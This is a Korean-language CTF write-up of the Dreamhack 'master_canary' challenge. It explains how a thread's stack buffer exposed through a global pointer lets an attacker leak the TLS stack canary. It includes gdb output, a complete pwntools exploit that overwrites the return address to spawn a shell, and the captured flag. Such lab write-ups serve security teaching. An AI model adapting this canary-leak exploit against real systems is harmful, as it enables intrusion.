[dreamhack] master_canary writeup

1. 문제

thumbnail
master_canary

이 문제는 서버에서 작동하고 있는 서비스(master_canary)의 바이너리와 소스 코드가 주어집니다.
카나리 값을 구해 실행 흐름을 조작해 셸을 획득하세요.
셸을 획득한 후 얻은 'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/58

2. 풀이

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <pthread.h>

char *global_buffer;

void get_shell() {
    system("/bin/sh");
}

void *thread_routine() {
    char buf[256];

    global_buffer = buf;
}

void read_bytes(char *buf, size_t size) {
    size_t sz = 0;
    size_t idx = 0;
    size_t tmp;

    while (sz < size) {
        tmp = read(0, &buf[idx], 1);
        if (tmp != 1) {
            exit(-1);
        }
        idx += 1;
        sz += 1;
    }
    return;
}

int main(int argc, char *argv[]) {
    size_t size = 0;
    pthread_t thread_t;
    int idx = 0;
    char leave_comment[32];

    initialize();

    while (1) {
        printf("1. Create thread\n");
        printf("2. Input\n");
        printf("3. Exit\n");
        printf("> ");
        scanf("%d", &idx);

        switch (idx) {
            case 1:
                if (pthread_create(&thread_t, NULL, thread_routine, NULL) < 0) {
                    perror("thread create error");
                    exit(0);
                }
                break;
            case 2:
                printf("Size: ");
                scanf("%lu", &size);

                printf("Data: ");
                read_bytes(global_buffer, size);

                printf("Data: %s", global_buffer);
                break;
            case 3:
                printf("Leave comment: ");
                read(0, leave_comment, 1024);
                return 0;
            default:
                printf("Nope\n");
                break;
        }
    }

    return 0;
}
  • case 1: thread를 하나 생성하고 thread_routine함수를 실행한다.
    • 이때 전역변수인 global_bufferbuf의 주소를 넣는다.
  • case 2: size를 입력받아서 global_buffersize만큼 입력한다. (BOF 발생)
  • case 3: leave_comment에 1024bytes만큼 입력받는다. (BOF 발생)

문제 이름이 master_canary인 만큼, canary가 존재하고, 이를 어떻게든 leak해서 리턴주소를 덮어야한다. leak을 할 수 있으려면 어디선가 출력을 해줄 수 있어야하는데, case 2에서 printf를 통해 global_buffer에 들어있는 값을 출력을 한다. 마침 size에 대한 검증 없이 입력을 받으므로 이를 통해 원하는 만큼 입력해서 출력할 수 있기는한데, global_buffer는 전역변수이고 buf는 thread 영역의 스택에 존재하니 어떻게 main함수의 canary를 leak할 수 있을지를 몰랐다.

2.1. master canary

그런데 찾아보니 문제 이름이기도 한 master canary라는게 존재해서, thread 생성 시 사용되는 기본 canary값이라고 한다. 즉, 이 값은 글로벌하게 공유되는 기준값으로, 각 thread가 생성될 때마다 이 값을 복사해서 자기 스택에 넣는다.

  • 프로그램이 시작되면, master canary값은 랜덤하게 초기화
  • 새로운 thread가 생성되면 해당 thread는 자신만의 스택을 할당받음
  • 이때, 스택 보호용 canary도 해당 스택에 저장되며 해당 값은 master canary에서 복사해서 사용

2.2. fs 세그먼트와 TLS (Thread-Local Storage)

TLS (Thread-Local Storage)는 각 thread마다 따로 갖는 전용 데이터 공간이다. fs 세그먼트 레지스터는 TLS의 기준 주소 (base address) 역할을 하며, 특정 TLS 변수는 fs 세그먼트를 기준으로 상대주소로 접근한다. (ex: fs:offset)

예를 들어, stack canaryfs:0x28에 위치하며, gdb에서는 $fs_base + 0x28 접근할 수 있다.

즉, thread 마다 fs값이 다르며, 각자 다른 TLS메모리 블록을 가리킨다.

2.3. 취약점

코드에서 thread가 생성되면서 수행되는 함수인 thread_routine에서 buf 지역변수가 생성되는데, 이는 thread의 스택에 위치한다. 그런데 이를 global_buffer에 저장하기 때문에 main함수에서도 해당 thread의 스택에 접근할 수 있게된다. 원래는 불가능하지만, 다른 thread의 스택 주소를 글로벌하게 노출했기 때문에 가능하게 된 것이다.

그리고 buf 변수보다 더 뒤에 있는 영역에 fs레지스터 영역이 존재한다면 size를 매우 크게 입력해서 canary가 들어있는 fs:0x28위치까지 출력시킬 수 있다.

buf의 위치와 fs:0x28의 위치를 gdb에서 한번 확인해보자.

먼저 thread_routine함수의 적절한 위치에 breakpoint를 걸고 실행한 후, case 1까지 실행해보자.

pwndbg> disass thread_routine
Dump of assembler code for function thread_routine:
   0x0000000000400a5b <+0>:	push   rbp
   0x0000000000400a5c <+1>:	mov    rbp,rsp
   0x0000000000400a5f <+4>:	sub    rsp,0x110
   0x0000000000400a66 <+11>:	mov    rax,QWORD PTR fs:0x28
   0x0000000000400a6f <+20>:	mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400a73 <+24>:	xor    eax,eax
   0x0000000000400a75 <+26>:	lea    rax,[rbp-0x110]
   0x0000000000400a7c <+33>:	mov    QWORD PTR [rip+0x20162d],rax        # 0x6020b0 <global_buffer>
   0x0000000000400a83 <+40>:	nop
   0x0000000000400a84 <+41>:	mov    rdx,QWORD PTR [rbp-0x8]
   0x0000000000400a88 <+45>:	xor    rdx,QWORD PTR fs:0x28
   0x0000000000400a91 <+54>:	je     0x400a98 <thread_routine+61>
   0x0000000000400a93 <+56>:	call   0x400820 <__stack_chk_fail@plt>
   0x0000000000400a98 <+61>:	leave
   0x0000000000400a99 <+62>:	ret
End of assembler dump.
pwndbg> b*thread_routine+20
Breakpoint 1 at 0x400a6f
pwndbg> r
Starting program: /home/ubuntu/dreamhack/level2/master_canary/master_canary 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
1. Create thread
2. Input
3. Exit
> 1
[New Thread 0x7ffff7a006c0 (LWP 2529514)]
1. Create thread
2. Input
3. Exit
> [Switching to Thread 0x7ffff7a006c0 (LWP 2529514)]

Thread 2 "master_canary" hit Breakpoint 1, 0x0000000000400a6f in thread_routine ()
Disabling the emulation via Unicorn Engine that is used for computing branches as there isn't enough memory (1GB) to use it (since mmap(1G, RWX) failed). See also:
* https://github.com/pwndbg/pwndbg/issues/1534
* https://github.com/unicorn-engine/unicorn/pull/1743
Either free your memory or explicitly set `set emulate off` in your Pwndbg config
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────────────────────────────
 RAX  0x31362bf30c7f6500
 RBX  0x7ffff7a00cdc ◂— 0
 RCX  0x7ffff7c9c85e (start_thread+318) ◂— nop 
 RDX  0
 RDI  0
 RSI  0x7ffff7a00fb0 ◂— 0
 R8   0
 R9   0x7ffff7a006c0 ◂— 0x7ffff7a006c0
 R10  8
 R11  0x246
 R12  0x7ffff7a006c0 ◂— 0x7ffff7a006c0
 R13  0xffffffffffffff88
 R14  0
 R15  0x7fffffffdf50 ◂— 0
 RBP  0x7ffff79ffec0 —▸ 0x7ffff79fff70 ◂— 0
 RSP  0x7ffff79ffdb0 ◂— 0
 RIP  0x400a6f (thread_routine+20) ◂— mov qword ptr [rbp - 8], rax
──────────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate off ]───────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400a6f <thread_routine+20>    mov    qword ptr [rbp - 8], rax            [0x7ffff79ffeb8] <= 0x31362bf30c7f6500
   0x400a73 <thread_routine+24>    xor    eax, eax                            EAX => 0
   0x400a75 <thread_routine+26>    lea    rax, [rbp - 0x110]
   0x400a7c <thread_routine+33>    mov    qword ptr [rip + 0x20162d], rax
   0x400a83 <thread_routine+40>    nop    
   0x400a84 <thread_routine+41>    mov    rdx, qword ptr [rbp - 8]
   0x400a88 <thread_routine+45>    xor    rdx, qword ptr fs:[0x28]
   0x400a91 <thread_routine+54>    je     thread_routine+61           <thread_routine+61>
 
   0x400a93 <thread_routine+56>    call   __stack_chk_fail@plt        <__stack_chk_fail@plt>
 
   0x400a98 <thread_routine+61>    leave  
   0x400a99 <thread_routine+62>    ret    
────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffff79ffdb0 ◂— 0
... ↓        2 skipped
03:0018│-0f8 0x7ffff79ffdc8 ◂— 0x2698ea
04:0020│-0f0 0x7ffff79ffdd0 —▸ 0x7ffff7a006c0 ◂— 0x7ffff7a006c0
05:0028│-0e8 0x7ffff79ffdd8 —▸ 0x7fffffffe057 ◂— 0x7ffff7c5fec600
06:0030│-0e0 0x7ffff79ffde0 ◂— 0
07:0038│-0d8 0x7ffff79ffde8 ◂— 0
──────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0         0x400a6f thread_routine+20
   1   0x7ffff7c9caa4 start_thread+900
   2   0x7ffff7d29c3c clone3+44
──────────────────────────────────────────────────────────────────────────────────────────────────[ THREADS (2 TOTAL) ]───────────────────────────────────────────────────────────────────────────────────────────────────
  ► 2   "master_canary" stopped: 0x400a6f <thread_routine+20> 
    1   "master_canary" stopped: 0x7ffff7d1ba9a <read+74> 
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/10x $rbp-0x110
0x7ffff79ffdb0:	0x00000000	0x00000000	0x00000000	0x00000000
0x7ffff79ffdc0:	0x00000000	0x00000000	0x002698ea	0x00000000
0x7ffff79ffdd0:	0xf7a006c0	0x00007fff
pwndbg> x/10x $fs_base+0x28
0x7ffff7a006e8:	0x0c7f6500	0x31362bf3	0x1ae8845e	0x0839f2ce
0x7ffff7a006f8:	0x00000000	0x00000000	0x00000000	0x00000000
0x7ffff7a00708:	0x00000000	0x00000000
pwndbg> p/x 0x7ffff7a006e8 - 0x7ffff79ffdb0
$1 = 0x938

thread_routine함수를 보면, $rbp-0x110buf가 존재한다. 따라서 이를 기준으로 fs:0x28과의 거리를 확인해보면 0x938만큼 차이가 난다. 따라서 canary의 첫 1바이트가 0x00임을 고려하여 0x939만큼 size를 입력하고 데이터를 그만큼 입력 후 출력하면 canary를 leak할 수 있다.

이렇게 leak한 canary를 통해 case 3leave_comment를 이용한 bof 공격을 수행하여 get_shell함수를 실행시키면 쉘을 얻을 수 있다.

다만, 하다보니 두가지 문제가 있었다.

  • 하나는 64비트에서 진행하여 리턴주소를 바로 덮었더니 stack alignment가 깨진듯했다. 그래서 ret 주소로 한번 리턴주소를 덮고나서 그 뒤에 get_shell함수 주소를 넣어줬다.

  • 나머지 하나는 서버환경이 ubuntu 16.04여서 위에서 계산한 buffs:0x28의 거리가 달랐다는 것. 이건 그냥 넘어갔다…

최종 exploit은 아래와 같다.

from pwn import *

p = process("./master_canary")
p = remote("host3.dreamhack.games", 23628)
elf = ELF("./master_canary")

p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"> ", b"2")

# Local
#p.sendlineafter(b"Size: ", b"2361")
#p.sendafter(b"Data: ", b"a" * 2361)
#print(p.recvuntil(b"a" * 2361))

# Remote
p.sendlineafter(b"Size: ", b"2281")
p.sendafter(b"Data: ", b"a" * 2281)
print(p.recvuntil(b"a" * 2281))


canary = u64(b"\x00" + p.recv(7))
print(hex(canary))

p.sendlineafter(b"> ", b"3")

payload = b"a" * 0x28
payload += p64(canary)
payload += p64(0)
payload += p64(0x4007e1)    # ret for stack alignment
payload += p64(elf.symbols["get_shell"])

p.sendlineafter(b"Leave comment: ", payload)

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/master_canary$ python3 e_master_canary.py 
[+] Starting local process './master_canary': pid 2528077
[+] Opening connection to host3.dreamhack.games on port 23628: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/master_canary/master_canary'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
b'Data: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
0xc5e37b2662cd6500
[*] Switching to interactive mode
$ id
uid=1000(master_canary) gid=1000(master_canary) groups=1000(master_canary)
$ cat flag
DH{5784e01c14862d84172ca055720f512ec3dd7e3b4421c691f638b1152cd62312}

해결~